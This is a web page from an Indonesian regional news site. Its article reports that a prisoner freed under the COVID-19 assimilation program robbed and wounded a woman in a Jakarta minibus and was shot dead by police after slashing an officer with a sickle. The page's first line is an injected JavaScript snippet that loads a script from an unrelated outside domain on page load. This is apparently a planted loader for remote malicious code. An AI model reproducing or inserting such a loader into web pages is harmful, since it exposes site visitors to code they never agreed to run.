(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Napi Bebas karena Corona Berulah, Lukai Polisi dan Wanita Pakai Celurit


KANALKALIMANTAN.COM, Seorang narapidana yang dibebaskan berkat program asimilasi virus corona berinisial AR (42) kembali berulah dengan menodong seorang wanita di angkot hingga korban terluka. Bahkan, saat ditangkap, pelaku melawan pakai celurit hingga seorang polisi mejadi korban.

Kapolres Metro Jakarta Utara Kombes Budhi Herdi Susianto mengatakan, bahwa AR (napi asimilasi di Lapas Bandung) melakukan aksi bersama rekannya, JN yang juga napi asimilasi Lapas Salemba dengan menodong dan melukai penumpang wanita dengan senjata tajam di dalam angkot M15 kawasan Tanjung Priok.

“Tersangka sempat melukai korbannya, seorang wanita yang kebetulan sedang naik angkot M15 tersebut ke arah Tanjung Priok. Dari kejadian tersebut korban mengalami luka di tangannya,” kata Budhi dalam keterangannya, Minggu (19/4/2020).

Dari penodongan tersebut, kedua pelaku berhasil menggasak ponsel dan sejumlah barang berharga milik korban.

Tak berapa lama setelah kejadian, JN lebih dulu tertangkap setelah korban sempat mengejarnya. Sementara AR sempat berhasil melarikan diri.

“Kebetulan pada saat itu ada anggota kami dari Tim Tiger yang sedang berpatroli, menangkap bersama dengan warga salah satu pelaku yakni atas nama JN,” ucapnya.

Empat hari kemudian, AR ditemukan saat hendak turun dari angkot di Jalan RE Martadinata pada Sabtu (18/4/2020). Saat polisi menyergapnya, AR memberikan perlawanan dengan mengacungkan celurit hingga melukai seorang anggota polisi.

Tak mau ambil resiko, polisi pun menembak AR dan langsung tewas di tempat.

“Kami melakukan tindakan tegas terhadap pelaku, karena pelaku melukai anggota dengan celurit dan anggota sempat menangkis. Seketika itu dilakukan tindakan tegas terukur ke arah dada sehingga tewas seketika,” kata Budhi.

Jenazah AR kemudian dibawa ke RS Polri Kramat Jati untuk divisum. Sementara pelaku JN sudah mendekam di Mapolres Metro Jakarta Utara dan dijerat pasal 365 KUHP tentang pencurian dengan kekerasan. (suara.com)

Reporter : suara.co
Editor : kk

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.